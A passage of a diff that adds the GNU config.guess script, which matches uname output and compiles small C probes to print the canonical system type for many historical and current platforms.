+	  exit (0);
+	}
+EOF
+	$CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` &&
+		{ echo "$SYSTEM_NAME"; exit; }
+	echo unknown-hitachi-hiuxwe2
+	exit ;;
+    9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* )
+	echo hppa1.1-hp-bsd
+	exit ;;
+    9000/8??:4.3bsd:*:*)
+	echo hppa1.0-hp-bsd
+	exit ;;
+    *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*)
+	echo hppa1.0-hp-mpeix
+	exit ;;
+    hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* )
+	echo hppa1.1-hp-osf
+	exit ;;
+    hp8??:OSF1:*:*)
+	echo hppa1.0-hp-osf
+	exit ;;
+    i*86:OSF1:*:*)
+	if [ -x /usr/sbin/sysversion ] ; then
+	    echo ${UNAME_MACHINE}-unknown-osf1mk
+	else
+	    echo ${UNAME_MACHINE}-unknown-osf1
+	fi
+	exit ;;
+    parisc*:Lites*:*:*)
+	echo hppa1.1-hp-lites
+	exit ;;
+    C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*)
+	echo c1-convex-bsd
+        exit ;;
+    C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*)
+	if getsysinfo -f scalar_acc
+	then echo c32-convex-bsd
+	else echo c2-convex-bsd
+	fi
+        exit ;;
+    C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*)
+	echo c34-convex-bsd
+        exit ;;
+    C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*)
+	echo c38-convex-bsd
+        exit ;;
+    C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*)
+	echo c4-convex-bsd
+        exit ;;
+    CRAY*Y-MP:*:*:*)
+	echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
+	exit ;;
+    CRAY*[A-Z]90:*:*:*)
+	echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \
+	| sed -e 's/CRAY.*\([A-Z]90\)/\1/' \
+	      -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \
+	      -e 's/\.[^.]*$/.X/'
+	exit ;;
+    CRAY*TS:*:*:*)
+	echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
+	exit ;;
+    CRAY*T3E:*:*:*)
+	echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
+	exit ;;
+    CRAY*SV1:*:*:*)
+	echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
+	exit ;;
+    *:UNICOS/mp:*:*)
+	echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
+	exit ;;
+    F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*)
+	FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`
+        FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'`
+        FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'`
+        echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
+        exit ;;
+    5000:UNIX_System_V:4.*:*)
+        FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'`
+        FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'`
+        echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
+	exit ;;
+    i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*)
+	echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE}
+	exit ;;
+    sparc*:BSD/OS:*:*)
+	echo sparc-unknown-bsdi${UNAME_RELEASE}
+	exit ;;
+    *:BSD/OS:*:*)
+	echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE}
+	exit ;;
+    *:FreeBSD:*:*)
+	case ${UNAME_MACHINE} in
+	    pc98)
+		echo i386-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;;
+	    *)
+		echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;;
+	esac
+	exit ;;
+    i*:CYGWIN*:*)
+	echo ${UNAME_MACHINE}-pc-cygwin
+	exit ;;
+    i*:MINGW*:*)
+	echo ${UNAME_MACHINE}-pc-mingw32
+	exit ;;
+    i*:MSYS_NT-*:*:*)
+	echo ${UNAME_MACHINE}-pc-mingw32
+	exit ;;
+    i*:windows32*:*)
+    	# uname -m includes "-pc" on this system.
+    	echo ${UNAME_MACHINE}-mingw32
+	exit ;;
+    i*:PW*:*)
+	echo ${UNAME_MACHINE}-pc-pw32
+	exit ;;
+    x86:Interix*:[345]*)
+	echo i586-pc-interix${UNAME_RELEASE}
+	exit ;;
+    EM64T:Interix*:[345]*)
+	echo x86_64-unknown-interix${UNAME_RELEASE}
+	exit ;;
+    [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*)
+	echo i${UNAME_MACHINE}-pc-mks
+	exit ;;
+    i*:Windows_NT*:* | Pentium*:Windows_NT*:*)
+	# How do we know it's Interix rather than the generic POSIX subsystem?
+	# It also conflicts with pre-2.0 versions of AT&T UWIN. Should we
+	# UNAME_MACHINE based on the output of uname instead of i386?
+	echo i586-pc-interix
+	exit ;;
+    i*:UWIN*:*)
+	echo ${UNAME_MACHINE}-pc-uwin
+	exit ;;
+    amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*)
+	echo x86_64-unknown-cygwin
+	exit ;;
+    p*:CYGWIN*:*)
+	echo powerpcle-unknown-cygwin
+	exit ;;
+    prep*:SunOS:5.*:*)
+	echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
+	exit ;;
+    *:GNU:*:*)
+	# the GNU system
+	echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'`
+	exit ;;
+    *:GNU/*:*:*)
+	# other systems with GNU libc and userland
+	echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu
+	exit ;;
+    i*86:Minix:*:*)
+	echo ${UNAME_MACHINE}-pc-minix
+	exit ;;
+    arm*:Linux:*:*)
+	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
+    cris:Linux:*:*)
+	echo cris-axis-linux-gnu
+	exit ;;
+    crisv32:Linux:*:*)
+	echo crisv32-axis-linux-gnu
+	exit ;;
+    frv:Linux:*:*)
+    	echo frv-unknown-linux-gnu
+	exit ;;
+    ia64:Linux:*:*)
+	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
+    m32r*:Linux:*:*)
+	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
+    m68*:Linux:*:*)
+	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
+    mips:Linux:*:*)
+	eval $set_cc_for_build
+	sed 's/^	//' << EOF >$dummy.c
+	#undef CPU
+	#undef mips
+	#undef mipsel
+	#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL)
+	CPU=mipsel
+	#else
+	#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB)
+	CPU=mips
+	#else
+	CPU=
+	#endif
+	#endif
+EOF
+	eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '
+	    /^CPU/{
+		s: ::g
+		p
+	    }'`"
+	test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; }
+	;;
+    mips64:Linux:*:*)
+	eval $set_cc_for_build
+	sed 's/^	//' << EOF >$dummy.c
+	#undef CPU
+	#undef mips64
+	#undef mips64el
+	#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL)
+	CPU=mips64el
+	#else
+	#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB)
+	CPU=mips64
+	#else
+	CPU=
+	#endif
+	#endif
+EOF
+	eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '
+	    /^CPU/{
+		s: ::g
+		p
+	    }'`"
+	test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; }
+	;;
+    or32:Linux:*:*)
+	echo or32-unknown-linux-gnu
+	exit ;;
+    ppc:Linux:*:*)
+	echo powerpc-unknown-linux-gnu
+	exit ;;
+    ppc64:Linux:*:*)
+	echo powerpc64-unknown-linux-gnu
+	exit ;;
+    alpha:Linux:*:*)
+	case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in
+	  EV5)   UNAME_MACHINE=alphaev5 ;;
+	  EV56)  UNAME_MACHINE=alphaev56 ;;
+	  PCA56) UNAME_MACHINE=alphapca56 ;;
+	  PCA57) UNAME_MACHINE=alphapca56 ;;
+	  EV6)   UNAME_MACHINE=alphaev6 ;;
+	  EV67)  UNAME_MACHINE=alphaev67 ;;
+	  EV68*) UNAME_MACHINE=alphaev68 ;;
+        esac
+	objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null
+	if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi
+	echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC}
+	exit ;;
+    parisc:Linux:*:* | hppa:Linux:*:*)
+	# Look for CPU level
+	case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in
+	  PA7*) echo hppa1.1-unknown-linux-gnu ;;
+	  PA8*) echo hppa2.0-unknown-linux-gnu ;;
+	  *)    echo hppa-unknown-linux-gnu ;;
+	esac
+	exit ;;
+    parisc64:Linux:*:* | hppa64:Linux:*:*)
+	echo hppa64-unknown-linux-gnu
+	exit ;;
+    s390:Linux:*:* | s390x:Linux:*:*)
+	echo ${UNAME_MACHINE}-ibm-linux
+	exit ;;
+    sh64*:Linux:*:*)
+    	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
+    sh*:Linux:*:*)
+	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
+    sparc:Linux:*:* | sparc64:Linux:*:*)
+	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
+    vax:Linux:*:*)
+	echo ${UNAME_MACHINE}-dec-linux-gnu
+	exit ;;
+    x86_64:Linux:*:*)
+	echo x86_64-unknown-linux-gnu
+	exit ;;
+    i*86:Linux:*:*)
+	# The BFD linker knows what the default object file format is, so
+	# first see if it will tell us. cd to the root directory to prevent
+	# problems with other programs or directories called `ld' in the path.
+	# Set LC_ALL=C to ensure ld outputs messages in English.
+	ld_supported_targets=`cd /; LC_ALL=C ld --help 2>&1 \
+			 | sed -ne '/supported targets:/!d
+				    s/[ 	][ 	]*/ /g
+				    s/.*supported targets: *//
+				    s/ .*//
+				    p'`
+        case "$ld_supported_targets" in
+	  elf32-i386)
+		TENTATIVE="${UNAME_MACHINE}-pc-linux-gnu"
+		;;
+	  a.out-i386-linux)
+		echo "${UNAME_MACHINE}-pc-linux-gnuaout"
+		exit ;;
+	  coff-i386)
+		echo "${UNAME_MACHINE}-pc-linux-gnucoff"
+		exit ;;
+	  "")
+		# Either a pre-BFD a.out linker (linux-gnuoldld) or
+		# one that does not give us useful --help.
+		echo "${UNAME_MACHINE}-pc-linux-gnuoldld"
+		exit ;;
+	esac
+	# Determine whether the default compiler is a.out or elf
+	eval $set_cc_for_build
+	sed 's/^	//' << EOF >$dummy.c
+	#include <features.h>
+	#ifdef __ELF__
+	# ifdef __GLIBC__
+	#  if __GLIBC__ >= 2
+	LIBC=gnu
+	#  else
+	LIBC=gnulibc1
+	#  endif
+	# else
+	LIBC=gnulibc1
+	# endif
+	#else
+	#if defined(__INTEL_COMPILER) || defined(__PGI) || defined(__sun)
+	LIBC=gnu
+	#else
+	LIBC=gnuaout
+	#endif
+	#endif
+	#ifdef __dietlibc__
+	LIBC=dietlibc
+	#endif
+EOF
+	eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '
+	    /^LIBC/{
+		s: ::g
+		p
+	    }'`"
+	test x"${LIBC}" != x && {
+		echo "${UNAME_MACHINE}-pc-linux-${LIBC}"
+		exit
+	}
+	test x"${TENTATIVE}" != x && { echo "${TENTATIVE}"; exit; }
+	;;
+    i*86:DYNIX/ptx:4*:*)
+	# ptx 4.0 does uname -s correctly, with DYNIX/ptx in there.
+	# earlier versions are messed up and put the nodename in both
+	# sysname and nodename.
+	echo i386-sequent-sysv4
+	exit ;;
+    i*86:UNIX_SV:4.2MP:2.*)
+        # Unixware is an offshoot of SVR4, but it has its own version
+        # number series starting with 2...
+        # I am not positive that other SVR4 systems won't match this,
+	# I just have to hope.  -- rms.
+        # Use sysv4.2uw... so that sysv4* matches it.
+	echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION}
+	exit ;;
+    i*86:OS/2:*:*)
+	# If we were able to find `uname', then EMX Unix compatibility
+	# is probably installed.
+	echo ${UNAME_MACHINE}-pc-os2-emx
+	exit ;;
+    i*86:XTS-300:*:STOP)
+	echo ${UNAME_MACHINE}-unknown-stop
+	exit ;;
+    i*86:atheos:*:*)
+	echo ${UNAME_MACHINE}-unknown-atheos
+	exit ;;
+    i*86:syllable:*:*)
+	echo ${UNAME_MACHINE}-pc-syllable
+	exit ;;
+    i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*)
+	echo i386-unknown-lynxos${UNAME_RELEASE}
+	exit ;;
+    i*86:*DOS:*:*)
+	echo ${UNAME_MACHINE}-pc-msdosdjgpp
+	exit ;;
+    i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*)
+	UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'`
+	if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then
+		echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL}
+	else
+		echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL}
+	fi
+	exit ;;
+    i*86:*:5:[678]*)
+    	# UnixWare 7.x, OpenUNIX and OpenServer 6.
+	case `/bin/uname -X | grep "^Machine"` in
+	    *486*)	     UNAME_MACHINE=i486 ;;
+	    *Pentium)	     UNAME_MACHINE=i586 ;;
+	    *Pent*|*Celeron) UNAME_MACHINE=i686 ;;
+	esac
+	echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION}
+	exit ;;
+    i*86:*:3.2:*)
+	if test -f /usr/options/cb.name; then
+		UNAME_REL=`sed -n 's/.*Version //p' </usr/options/cb.name`
+		echo ${UNAME_MACHINE}-pc-isc$UNAME_REL
+	elif /bin/uname -X 2>/dev/null >/dev/null ; then
+		UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')`
+		(/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486
+		(/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \
+			&& UNAME_MACHINE=i586
+		(/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \
+			&& UNAME_MACHINE=i686
+		(/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \
+			&& UNAME_MACHINE=i686
+		echo ${UNAME_MACHINE}-pc-sco$UNAME_REL
+	else
+		echo ${UNAME_MACHINE}-pc-sysv32
+	fi
+	exit ;;
+    pc:*:*:*)
+	# Left here for compatibility:
+        # uname -m prints for DJGPP always 'pc', but it prints nothing about
+        # the processor, so we play safe by assuming i386.
+	echo i386-pc-msdosdjgpp
+        exit ;;
+    Intel:Mach:3*:*)
+	echo i386-pc-mach3
+	exit ;;
+    paragon:*:*:*)
+	echo i860-intel-osf1
+	exit ;;
+    i860:*:4.*:*) # i860-SVR4
+	if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then
+	  echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4
+	else # Add other i860-SVR4 vendors below as they are discovered.
+	  echo i860-unknown-sysv${UNAME_RELEASE}  # Unknown i860-SVR4
+	fi
+	exit ;;
+    mini*:CTIX:SYS*5:*)
+	# "miniframe"
+	echo m68010-convergent-sysv
+	exit ;;
+    mc68k:UNIX:SYSTEM5:3.51m)
+	echo m68k-convergent-sysv
+	exit ;;
+    M680?0:D-NIX:5.3:*)
+	echo m68k-diab-dnix
+	exit ;;
+    M68*:*:R3V[5678]*:*)
+	test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;;
+    3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0)
+	OS_REL=''
+	test -r /etc/.relid \
+	&& OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid`
+	/bin/uname -p 2>/dev/null | grep 86 >/dev/null \
+	  && { echo i486-ncr-sysv4.3${OS_REL}; exit; }
+	/bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \
+	  && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;;
+    3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*)
+        /bin/uname -p 2>/dev/null | grep 86 >/dev/null \
+          && { echo i486-ncr-sysv4; exit; } ;;
+    m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*)
+	echo m68k-unknown-lynxos${UNAME_RELEASE}
+	exit ;;
+    mc68030:UNIX_System_V:4.*:*)
+	echo m68k-atari-sysv4
+	exit ;;
+    TSUNAMI:LynxOS:2.*:*)
+	echo sparc-unknown-lynxos${UNAME_RELEASE}
+	exit ;;
+    rs6000:LynxOS:2.*:*)
+	echo rs6000-unknown-lynxos${UNAME_RELEASE}
+	exit ;;
+    PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*)
+	echo powerpc-unknown-lynxos${UNAME_RELEASE}
+	exit ;;
+    SM[BE]S:UNIX_SV:*:*)
+	echo mips-dde-sysv${UNAME_RELEASE}
+	exit ;;
+    RM*:ReliantUNIX-*:*:*)
+	echo mips-sni-sysv4
+	exit ;;
+    RM*:SINIX-*:*:*)
+	echo mips-sni-sysv4
+	exit ;;
+    *:SINIX-*:*:*)
+	if uname -p 2>/dev/null >/dev/null ; then
+		UNAME_MACHINE=`(uname -p) 2>/dev/null`
+		echo ${UNAME_MACHINE}-sni-sysv4
+	else
+		echo ns32k-sni-sysv
+	fi
+	exit ;;
+    PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort
+                      # says <Richard.M.Bartel@ccMail.Census.GOV>
+        echo i586-unisys-sysv4
+        exit ;;
+    *:UNIX_System_V:4*:FTX*)
+	# From Gerald Hewes <hewes@openmarket.com>.
+	# How about differentiating between stratus architectures? -djm
+	echo hppa1.1-stratus-sysv4
+	exit ;;
+    *:*:*:FTX*)
+	# From seanf@swdc.stratus.com.
+	echo i860-stratus-sysv4
+	exit ;;
+    i*86:VOS:*:*)
+	# From Paul.Green@stratus.com.
+	echo ${UNAME_MACHINE}-stratus-vos
+	exit ;;
+    *:VOS:*:*)
+	# From Paul.Green@stratus.com.
+	echo hppa1.1-stratus-vos
+	exit ;;
+    mc68*:A/UX:*:*)
+	echo m68k-apple-aux${UNAME_RELEASE}
+	exit ;;
+    news*:NEWS-OS:6*:*)
+	echo mips-sony-newsos6
+	exit ;;
+    R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*)
+	if [ -d /usr/nec ]; then
+	        echo mips-nec-sysv${UNAME_RELEASE}
+	else
+	        echo mips-unknown-sysv${UNAME_RELEASE}
+	fi
+        exit ;;
+    BeBox:BeOS:*:*)	# BeOS running on hardware made by Be, PPC only.
+	echo powerpc-be-beos
+	exit ;;
+    BeMac:BeOS:*:*)	# BeOS running on Mac or Mac clone, PPC only.
+	echo powerpc-apple-beos
+	exit ;;
+    BePC:BeOS:*:*)	# BeOS running on Intel PC compatible.
+	echo i586-pc-beos
+	exit ;;
+    SX-4:SUPER-UX:*:*)
+	echo sx4-nec-superux${UNAME_RELEASE}
+	exit ;;
+    SX-5:SUPER-UX:*:*)
+	echo sx5-nec-superux${UNAME_RELEASE}
+	exit ;;
+    SX-6:SUPER-UX:*:*)
+	echo sx6-nec-superux${UNAME_RELEASE}
+	exit ;;
+    Power*:Rhapsody:*:*)
+	echo powerpc-apple-rhapsody${UNAME_RELEASE}
+	exit ;;
+    *:Rhapsody:*:*)
+	echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE}
+	exit ;;
+    *:Darwin:*:*)
+	UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown
+	case $UNAME_PROCESSOR in
+	    unknown) UNAME_PROCESSOR=powerpc ;;
+	esac
+	echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE}
+	exit ;;
+    *:procnto*:*:* | *:QNX:[0123456789]*:*)
+	UNAME_PROCESSOR=`uname -p`
+	if test "$UNAME_PROCESSOR" = "x86"; then
+		UNAME_PROCESSOR=i386
+		UNAME_MACHINE=pc
+	fi
+	echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE}
+	exit ;;
+    *:QNX:*:4*)
+	echo i386-pc-qnx
+	exit ;;
+    NSE-?:NONSTOP_KERNEL:*:*)
+	echo nse-tandem-nsk${UNAME_RELEASE}
+	exit ;;
+    NSR-?:NONSTOP_KERNEL:*:*)
+	echo nsr-tandem-nsk${UNAME_RELEASE}
+	exit ;;
+    *:NonStop-UX:*:*)
+	echo mips-compaq-nonstopux
+	exit ;;
+    BS2000:POSIX*:*:*)
+	echo bs2000-siemens-sysv
+	exit ;;
+    DS/*:UNIX_System_V:*:*)
+	echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE}
+	exit ;;
+    *:Plan9:*:*)
+	# "uname -m" is not consistent, so use $cputype instead. 386
+	# is converted to i386 for consistency with other x86
+	# operating systems.
+	if test "$cputype" = "386"; then
+	    UNAME_MACHINE=i386
+	else
+	    UNAME_MACHINE="$cputype"
+	fi
+	echo ${UNAME_MACHINE}-unknown-plan9
+	exit ;;
+    *:TOPS-10:*:*)
+	echo pdp10-unknown-tops10
+	exit ;;
+    *:TENEX:*:*)
+	echo pdp10-unknown-tenex
+	exit ;;
+    KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*)
+	echo pdp10-dec-tops20
+	exit ;;
+    XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*)
+	echo pdp10-xkl-tops20
+	exit ;;
+    *:TOPS-20:*:*)
+	echo pdp10-unknown-tops20
+	exit ;;
+    *:ITS:*:*)
+	echo pdp10-unknown-its
+	exit ;;
+    SEI:*:*:SEIUX)
+        echo mips-sei-seiux${UNAME_RELEASE}
+	exit ;;
+    *:DragonFly:*:*)
+	echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`
+	exit ;;
+    *:*VMS:*:*)
+    	UNAME_MACHINE=`(uname -p) 2>/dev/null`
+	case "${UNAME_MACHINE}" in
+	    A*) echo alpha-dec-vms ; exit ;;
+	    I*) echo ia64-dec-vms ; exit ;;
+	    V*) echo vax-dec-vms ; exit ;;
+	esac ;;
+    *:XENIX:*:SysV)
+	echo i386-pc-xenix
+	exit ;;
+    i*86:skyos:*:*)
+	echo ${UNAME_MACHINE}-pc-skyos`echo ${UNAME_RELEASE}` | sed -e 's/ .*$//'
+	exit ;;
+    i*86:rdos:*:*)
+	echo ${UNAME_MACHINE}-pc-rdos
+	exit ;;
+esac
+
+#echo '(No uname command or uname output not recognized.)' 1>&2
+#echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2
+
+eval $set_cc_for_build
+cat >$dummy.c <<EOF
+#ifdef _SEQUENT_
+# include <sys/types.h>
+# include <sys/utsname.h>
+#endif
+main ()
+{
+#if defined (sony)
+#if defined (MIPSEB)
+  /* BFD wants "bsd" instead of "newsos".  Perhaps BFD should be changed,
+     I don't know....  */
+  printf ("mips-sony-bsd\n"); exit (0);
+#else
+#include <sys/param.h>
+  printf ("m68k-sony-newsos%s\n",
+#ifdef NEWSOS4
+          "4"
+#else
+	  ""
+#endif
+         ); exit (0);
+#endif
+#endif
+
+#if defined (__arm) && defined (__acorn) && defined (__unix)
+  printf ("arm-acorn-riscix\n"); exit (0);
+#endif
+
+#if defined (hp300) && !defined (hpux)
+  printf ("m68k-hp-bsd\n"); exit (0);
+#endif
+
+#if defined (NeXT)
+#if !defined (__ARCHITECTURE__)
+#define __ARCHITECTURE__ "m68k"
+#endif
+  int version;
+  version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`;
+  if (version < 4)
+    printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version);
+  else
+    printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version);
+  exit (0);
+#endif
+
+#if defined (MULTIMAX) || defined (n16)
+#if defined (UMAXV)
+  printf ("ns32k-encore-sysv\n"); exit (0);
+#else
+#if defined (CMU)
+  printf ("ns32k-encore-mach\n"); exit (0);
+#else
+  printf ("ns32k-encore-bsd\n"); exit (0);
+#endif
+#endif
+#endif
+
+#if defined (__386BSD__)
+  printf ("i386-pc-bsd\n"); exit (0);
+#endif
+
+#if defined (sequent)
+#if defined (i386)
+  printf ("i386-sequent-dynix\n"); exit (0);
+#endif
+#if defined (ns32000)
+  printf ("ns32k-sequent-dynix\n"); exit (0);
+#endif
+#endif
+
+#if defined (_SEQUENT_)
+    struct utsname un;
+
+    uname(&un);
+
+    if (strncmp(un.version, "V2", 2) == 0) {
+	printf ("i386-sequent-ptx2\n"); exit (0);
+    }
+    if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */
+	printf ("i386-sequent-ptx1\n"); exit (0);
+    }
+    printf ("i386-sequent-ptx\n"); exit (0);
+
+#endif
+
+#if defined (vax)
+# if !defined (ultrix)
+#  include <sys/param.h>
+#  if defined (BSD)
+#   if BSD == 43
+      printf ("vax-dec-bsd4.3\n"); exit (0);
+#   else
+#    if BSD == 199006
+      printf ("vax-dec-bsd4.3reno\n"); exit (0);
+#    else
+      printf ("vax-dec-bsd\n"); exit (0);
+#    endif
+#   endif
+#  else
+    printf ("vax-dec-bsd\n"); exit (0);
+#  endif
+# else
+    printf ("vax-dec-ultrix\n"); exit (0);
+# endif
+#endif
+
+#if defined (alliant) && defined (i860)
+  printf ("i860-alliant-bsd\n"); exit (0);
+#endif
+
+  exit (1);
+}
+EOF
+
+$CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && SYSTEM_NAME=`$dummy` &&
+	{ echo "$SYSTEM_NAME"; exit; }
+
+# Apollos put the system type in the environment.
+
+test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit; }
+
+# Convex versions that predate uname can use getsysinfo(1)
+
+if [ -x /usr/convex/getsysinfo ]
+then
+    case `getsysinfo -f cpu_type` in
+    c1*)
+	echo c1-convex-bsd
+	exit ;;
+    c2*)
+	if getsysinfo -f scalar_acc
+	then echo c32-convex-bsd
+	else echo c2-convex-bsd
+	fi
+	exit ;;
+    c34*)
+	echo c34-convex-bsd
+	exit ;;
+    c38*)
+	echo c38-convex-bsd
+	exit ;;
+    c4*)
+	echo c4-convex-bsd
+	exit ;;
+    esac
+fi
+
+cat >&2 <<EOF
+$0: unable to guess system type
+
+This script, last modified $timestamp, has failed to recognize
+the operating system you are using. It is advised that you
+download the most up to date version of the config scripts from
+
+  http://savannah.gnu.org/cgi-bin/viewcvs/*checkout*/config/config/config.guess
+and
+  http://savannah.gnu.org/cgi-bin/viewcvs/*checkout*/config/config/config.sub
+
+If the version you run ($0) is already up to date, please
+send the following data and any information you think might be
+pertinent to <config-patches@gnu.org> in order to provide the needed
+information to handle your system.
+
+config.guess timestamp = $timestamp
+
+uname -m = `(uname -m) 2>/dev/null || echo unknown`
+uname -r = `(uname -r) 2>/dev/null || echo unknown`
+uname -s = `(uname -s) 2>/dev/null || echo unknown`
+uname -v = `(uname -v) 2>/dev/null || echo unknown`
+
+/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null`
+/bin/uname -X     = `(/bin/uname -X) 2>/dev/null`
+
+hostinfo               = `(hostinfo) 2>/dev/null`
+/bin/universe          = `(/bin/universe) 2>/dev/null`
+/usr/bin/arch -k       = `(/usr/bin/arch -k) 2>/dev/null`
+/bin/arch              = `(/bin/arch) 2>/dev/null`
+/usr/bin/oslevel       = `(/usr/bin/oslevel) 2>/dev/null`
+/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null`
+
